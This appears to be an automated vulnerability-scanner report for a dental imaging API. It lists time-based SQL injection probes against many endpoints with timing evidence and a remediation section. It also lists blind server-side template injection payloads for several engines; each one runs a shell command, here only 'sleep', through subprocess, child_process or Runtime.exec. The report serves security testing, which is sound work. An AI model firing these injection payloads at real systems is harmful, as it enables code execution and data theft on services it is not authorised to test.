Attack	case randomblob(100000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,393] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [1,413] milliseconds, when the original unmodified query with value [1] took [1,563] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,393] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [1,413] milliseconds, when the original unmodified query with value [1] took [1,563] milliseconds.
URL	https://api.velmeni.ai/api/sikka/create_patient_webhook
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,429] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,503] milliseconds, when the original unmodified query with value [] took [1,356] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,429] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,503] milliseconds, when the original unmodified query with value [] took [1,356] milliseconds.
URL	https://api.velmeni.ai/api/sikka/create_patient_webhook
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [937] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,530] milliseconds, when the original unmodified query with value [https://api.sikkasoft.com/v4/practices/1/providers/1] took [736] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [937] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,530] milliseconds, when the original unmodified query with value [https://api.sikkasoft.com/v4/practices/1/providers/1] took [736] milliseconds.
URL	https://api.velmeni.ai/api/sikka/create_patient_webhook
Method	POST
Attack	case randomblob(100000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,634] milliseconds,
Evidence	parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [2,695] milliseconds, when the original unmodified query with value [22-49-76-AF-7C-FD-03] took [1,566] milliseconds.

Other Info	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,634] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [2,695] milliseconds, when the original unmodified query with value [22-49-76-AF-7C-FD-03] took [1,566] milliseconds.
URL	https://api.velmeni.ai/api/sikka/create_patient_webhook
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,845] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,512] milliseconds, when the original unmodified query with value [] took [694] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,845] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,512] milliseconds, when the original unmodified query with value [] took [694] milliseconds.
URL	https://api.velmeni.ai/api/sikka/create_patient_webhook
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,223] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,259] milliseconds, when the original unmodified query with value [CA] took [1,224] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,223] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,259] milliseconds, when the original unmodified query with value [CA] took [1,224] milliseconds.
URL	https://api.velmeni.ai/api/sikka/import_practice_data/3?practice_ids=3&source_system=VELMENI_FOR_DENTIST
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [914] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,021] milliseconds, when the original unmodified query with value [VELMENI_FOR_DENTIST] took [767] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [914] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,021] milliseconds, when the original unmodified query with value [VELMENI_FOR_DENTIST] took [767] milliseconds.
URL	https://api.velmeni.ai/api/sikka/import_procedure_category?source_system=VELMENI_FOR_DENTIST
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [881] milliseconds, parameter

value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,551] milliseconds, when the original unmodified query with value [4] took [804] milliseconds.

Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [881] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,551] milliseconds, when the original unmodified query with value [4] took [804] milliseconds.
URL	https://api.velmeni.ai/api/user/add
Method	POST
Attack	case randomblob(100000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,257] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [1,369] milliseconds, when the original unmodified query with value [Anil K] took [269] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,257] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [1,369] milliseconds, when the original unmodified query with value [Anil K] took [269] milliseconds.
URL	https://api.velmeni.ai/api/user/change_password
Method	POST
Attack	case randomblob(100000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [609] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [630] milliseconds, when the original unmodified query with value [Velmeni! 2023] took [2,345] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [609] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [630] milliseconds, when the original unmodified query with value [Velmeni! 2023] took [2,345] milliseconds.
URL	https://api.velmeni.ai/api/user/enable_user
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [259] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,050] milliseconds, when the original unmodified query with value [VELMENI_FOR_DENTIST] took [1,761] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [259] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,050] milliseconds, when the original unmodified query with value [VELMENI_FOR_DENTIST] took [1,761] milliseconds.
URL	https://api.velmeni.ai/api/user/initiate_forgot_password
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [778] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [808] milliseconds, when the original unmodified query with value [theertha+1@velmeni.com] took [1,815] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [778] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [808] milliseconds, when the original unmodified query with value [theertha+1@velmeni.com] took [1,815] milliseconds.

URL	https://api.velmeni.ai/api/user/validate_email
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,333] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,529] milliseconds, when the original unmodified query with value [sachin@velmeni.com] took [1,240] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,333] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,529] milliseconds, when the original unmodified query with value [sachin@velmeni.com] took [1,240] milliseconds.
URL	https://api.velmeni.ai/api/velmeni_bridge/add_image
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,403] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,920] milliseconds, when the original unmodified query with value [bitewing] took [1,155] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,403] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,920] milliseconds, when the original unmodified query with value [bitewing] took [1,155] milliseconds.
URL	https://api.velmeni.ai/api/velmeni_bridge/add_image
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [962] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,093] milliseconds, when the original unmodified query with value [xray] took [1,793] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [962] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,093] milliseconds, when the original unmodified query with value [xray] took [1,793] milliseconds.
URL	https://api.velmeni.ai/api/velmeni_bridge/add_image
Method	POST
Attack	case randomblob(100000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,175] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [3,435] milliseconds, when the original unmodified query with value [v7uHyecyUfPM4wJMGzs/Q==] took [831] milliseconds.
Other	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,175] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which
Info	caused the request to take [3,435] milliseconds, when the original unmodified query with value [v7uHyecyUfPM4wJMGzs/Q==] took [831] milliseconds.
URL	https://api.velmeni.ai/api/velmeni_bridge/add_image
Method	POST

Attack	case randomblob(100000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [523] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [1,042] milliseconds, when the original unmodified query with value [D111] took [1,510] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [523] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [1,042] milliseconds, when the original unmodified query with value [D111] took [1,510] milliseconds.
URL	https://api.velmeni.ai/api/velmeni_bridge/add_image
Method	POST
Attack	case randomblob(100000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [655] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [1,440] milliseconds, when the original unmodified query with value [vbuwkpmniqsklahyrtxcz] took [2,073] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [655] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [1,440] milliseconds, when the original unmodified query with value [vbuwkpmniqsklahyrtxcz] took [2,073] milliseconds.
URL	https://api.velmeni.ai/api/organizations/practice/update/1659
Method	PUT
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [760] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [963] milliseconds, when the original unmodified query with value [Amit Vora DDS] took [260] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [760] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [963] milliseconds, when the original unmodified query with value [Amit Vora DDS] took [260] milliseconds.
URL	https://api.velmeni.ai/api/organizations/practice/update/1659
Method	PUT
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [255] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,939] milliseconds, when the original unmodified query with value [53] took [766] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [255] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,939] milliseconds, when the original unmodified query with value [53] took [766] milliseconds.
URL	https://api.velmeni.ai/api/organizations/practice/update/1659

Method	PUT
Attack	case randomblob(100000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [702] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [748] milliseconds, when the original unmodified query with value [7324942444] took [261] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [702] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [748] milliseconds, when the original unmodified query with value [7324942444] took [261] milliseconds.
URL	https://api.velmeni.ai/api/organizations/update/27
Method	PUT
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,488] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,664] milliseconds, when the original unmodified query with value [(912) 123-4568] took [256] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,488] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,664] milliseconds, when the original unmodified query with value [(912) 123-4568] took [256] milliseconds.
URL	https://api.velmeni.ai/api/organizations/update/27
Method	PUT
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,243] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,328] milliseconds, when the original unmodified query with value [VELMENI_FOR_DENTIST] took [287] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,243] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,328] milliseconds, when the original unmodified query with value [VELMENI_FOR_DENTIST] took [287] milliseconds.
URL	https://api.velmeni.ai/api/patient/update
Method	PUT
Attack	case randomblob(100000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [786] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [1,810] milliseconds, when the original unmodified query with value [1] took [368] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [786] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [1,810] milliseconds, when the original unmodified query with value [1] took [368] milliseconds.
URL	https://api.velmeni.ai/api/patient/update
Method	PUT
Attack	case randomblob(1000000) when not null then 1 else 1 end

Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [774] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [985] milliseconds, when the original unmodified query with value [145139] took [773] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [774] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [985] milliseconds, when the original unmodified query with value [145139] took [773] milliseconds.
URL	https://api.velmeni.ai/api/patient/update
Method	PUT
Attack	case randomblob(100000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,892] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [2,293] milliseconds, when the original unmodified query with value [VELMENI_FOR_DENTIST] took [1,565] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,892] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [2,293] milliseconds, when the original unmodified query with value [VELMENI_FOR_DENTIST] took [1,565] milliseconds.
URL	https://api.velmeni.ai/api/user/update/1
Method	PUT
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [764] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,531] milliseconds, when the original unmodified query with value [sachin] took [1,018] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [764] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,531] milliseconds, when the original unmodified query with value [sachin] took [1,018] milliseconds.
URL	https://api.velmeni.ai/api/user/update/1
Method	PUT
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [252] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [822] milliseconds, when the original unmodified query with value [anand] took [250] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [252] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [822] milliseconds, when the original unmodified query with value [anand] took [250] milliseconds.
URL	https://api.velmeni.ai/api/user/update/1
Method	PUT
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,147] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the

	request to take [1,273] milliseconds, when the original unmodified query with value [1] took [1,021] milliseconds.
Other Info	The query time is controllable using parameter value [case randblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,147] milliseconds, parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,273] milliseconds, when the original unmodified query with value [1] took [1,021] milliseconds.
Instances	575
Solution	<p>Do not trust client side input, even if there is client side validation in place.</p> <p>In general, type check all data on the server side.</p> <p>If the application uses JDBC, use PreparedStatement or CallableStatement, with parameters passed by '?'</p> <p>If the application uses ASP, use ADO Command Objects with strong type checking and parameterized queries.</p> <p>If database Stored Procedures can be used, use them.</p> <p>Do *not* concatenate strings into queries in the stored procedure, or use 'exec', 'exec immediate', or equivalent functionality!</p> <p>Do not create dynamic SQL queries using simple string concatenation.</p> <p>Escape all data received from the client.</p> <p>Apply an 'allow list' of allowed characters, or a 'deny list' of disallowed characters in user input.</p> <p>Apply the principle of least privilege by using the least privileged database user possible.</p> <p>In particular, avoid using the 'sa' or 'db-owner' database users. This does not eliminate SQL injection, but minimizes its impact.</p> <p>Grant the minimum database access that is necessary for the application.</p>
Reference	https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html
CWE Id	89
WASC Id	19
Plugin Id	40024

High	Server Side Template Injection (Blind)
Description	When the user input is inserted in the template instead of being used as argument in rendering is evaluated by the template engine. Depending on the template engine it can lead to remote code execution.
URL	https://api.velmeni.ai/api/patient/scan/add?source_system=VELMENI_FOR_DENTIST
Method	POST
Attack	{{""._class_.____mro_[1]._subclasses_()[157]._repr_._____globals_.get("_builtins_").get("_import_")("subprocess").check_output("sleep 3")}}
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	<%= global.process.mainModule.require('child_process').execSync('sleep 4').toString()%>
Evidence	

Other
Info

URL https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method POST

Attack `{{["_class","__mro__[1].__subclasses__()[157].__repr__.__globals__._get("__builtins__").get("__import__")("subprocess").check_output("sleep 5")]}}`

Evidence

Other
Info

URL https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method POST

Attack `#[global.process.mainModule.require('child_process').execSync('sleep 6').toString()]`

Evidence

Other
Info

URL https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method POST

Attack `{system("sleep 5")}`

Evidence

Other
Info

URL https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method POST

Attack `#[global.process.mainModule.require('child_process').execSync('sleep 4').toString()]`

Evidence

Other
Info

URL https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method POST

Attack `#{%x(sleep 3)}`

Evidence

Other
Info

URL https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method POST

Attack `<%= global.process.mainModule.require('child_process').execSync('sleep 3').toString()%>`

Evidence

Other
Info

URL https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method POST

Attack `{{range.constructor("return eval(\"global.process.mainModule.require('child_process').execSync('sleep 3').toString()\")")()}}`

Evidence

Other

Info

URL https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method POST

Attack `${_import_("subprocess").check_output("sleep 7", shell=True)}`

Evidence

Other
Info

URL https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method POST

Attack `#set($engine="") #set($proc=$engine.getClass().forName("java.lang.Runtime").getRuntime().exec("sleep 3")) #set($null=$proc.waitFor()) ${null}`

Evidence

Other
Info

URL https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method POST

Attack `#set($engine="") #set($proc=$engine.getClass().forName("java.lang.Runtime").getRuntime().exec("sleep 6")) #set($null=$proc.waitFor()) ${null}`

Evidence

Other
Info

URL https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method POST

Attack `#{%x(sleep 4)}`

Evidence

Other
Info

URL https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method POST

Attack `#{%x(sleep 5)}`

Evidence

Other
Info

URL https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method POST

Attack `#{%x(sleep 6)}`

Evidence

Other
Info

URL https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method POST

Attack `#{%x(sleep 7)}`

Evidence

Other
Info

URL https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method POST

Attack `#{global.process.mainModule.require('child_process').execSync('sleep 3').toString()}`

Evidence	
Other Info	
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	<code>#{global.process.mainModule.require('child_process').execSync('sleep 4').toString()}</code>
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	<code>#{global.process.mainModule.require('child_process').execSync('sleep 5').toString()}</code>
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	<code>\${_import_("subprocess").check_output("sleep 3", shell=True)}</code>
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	<code>\${_import_("subprocess").check_output("sleep 4", shell=True)}</code>
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	<code>\${_import_("subprocess").check_output("sleep 5", shell=True)}</code>
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	<code><#assign ex="freemarker.template.utility.Execute"?new()> \${ ex("sleep 3") }</code>
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method	POST
Attack	<code><#assign ex="freemarker.template.utility.Execute"?new()> \${ ex("sleep 5") }</code>
Evidence	

Other
Info

URL https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method POST

Attack `<%= global.process.mainModule.require('child_process').execSync('sleep 3').toString()%>`

Evidence

Other
Info

URL https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method POST

Attack `<%= global.process.mainModule.require('child_process').execSync('sleep 4').toString()%>`

Evidence

Other
Info

URL https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method POST

Attack `<%= global.process.mainModule.require('child_process').execSync('sleep 5').toString()%>`

Evidence

Other
Info

URL https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method POST

Attack `<%= global.process.mainModule.require('child_process').execSync('sleep 6').toString()%>`

Evidence

Other
Info

URL https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method POST

Attack `<%= %x(sleep 3)%>`

Evidence

Other
Info

URL https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method POST

Attack `<%= %x(sleep 4)%>`

Evidence

Other
Info

URL https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method POST

Attack `<%= %x(sleep 5)%>`

Evidence

Other
Info

URL https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method POST

Attack {system("sleep 4")}

Evidence

Other
Info

URL https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method POST

Attack {system("sleep 5")}

Evidence

Other
Info

URL https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method POST

Attack {system("sleep 6")}

Evidence

Other
Info

URL https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method POST

Attack {{= global.process.mainModule.require('child_process').execSync('sleep 3').toString() }}

Evidence

Other
Info

URL https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method POST

Attack {{= global.process.mainModule.require('child_process').execSync('sleep 4').toString() }}

Evidence

Other
Info

URL https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method POST

Attack {{= global.process.mainModule.require('child_process').execSync('sleep 7').toString() }}

Evidence

Other
Info

URL https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method POST

Attack {{_import_("subprocess").check_output("sleep 3", shell=True)}}

Evidence

Other
Info

URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	{{_import_("subprocess").check_output("sleep 4", shell=True)}}
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	{{_import_("subprocess").check_output("sleep 5", shell=True)}}
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	{{_import_("subprocess").check_output("sleep 6", shell=True)}}
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	{{range.constructor("return eval(\"global.process.mainModule.require('child_process').execSync('sleep 4').toString())\")()}}
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	{{range.constructor("return eval(\"global.process.mainModule.require('child_process').execSync('sleep 6').toString())\")()}}
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	#set(\$engine="") #set(\$proc=\$engine.getClass().forName("java.lang.Runtime").getRuntime().exec("sleep 3")) #set(\$null=\$proc.waitFor()) \${null}
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	#set(\$engine="") #set(\$proc=\$engine.getClass().forName("java.lang.Runtime").getRuntime().exec("sleep 4")) #set(\$null=\$proc.waitFor()) \${null}
Evidence	

Other
Info

URL https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method POST

Attack `#{%x(sleep 5)}`

Evidence

Other
Info

URL https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method POST

Attack `#{global.process.mainModule.require('child_process').execSync('sleep 4').toString()}`

Evidence

Other
Info

URL https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method POST

Attack `#{global.process.mainModule.require('child_process').execSync('sleep 5').toString()}`

Evidence

Other
Info

URL https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method POST

Attack `#{global.process.mainModule.require('child_process').execSync('sleep 6').toString()}`

Evidence

Other
Info

URL https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method POST

Attack `${_import_("subprocess").check_output("sleep 3", shell=True)}`

Evidence

Other
Info

URL https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method POST

Attack `${_import_("subprocess").check_output("sleep 4", shell=True)}`

Evidence

Other
Info

URL https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method POST

Attack `${_import_("subprocess").check_output("sleep 5", shell=True)}`

Evidence

Other
Info

URL https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method POST

Attack	<#assign ex="freemarker.template.utility.Execute"?new()> \${ ex("sleep 3") }
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	<#assign ex="freemarker.template.utility.Execute"?new()> \${ ex("sleep 4") }
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	<#assign ex="freemarker.template.utility.Execute"?new()> \${ ex("sleep 6") }
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
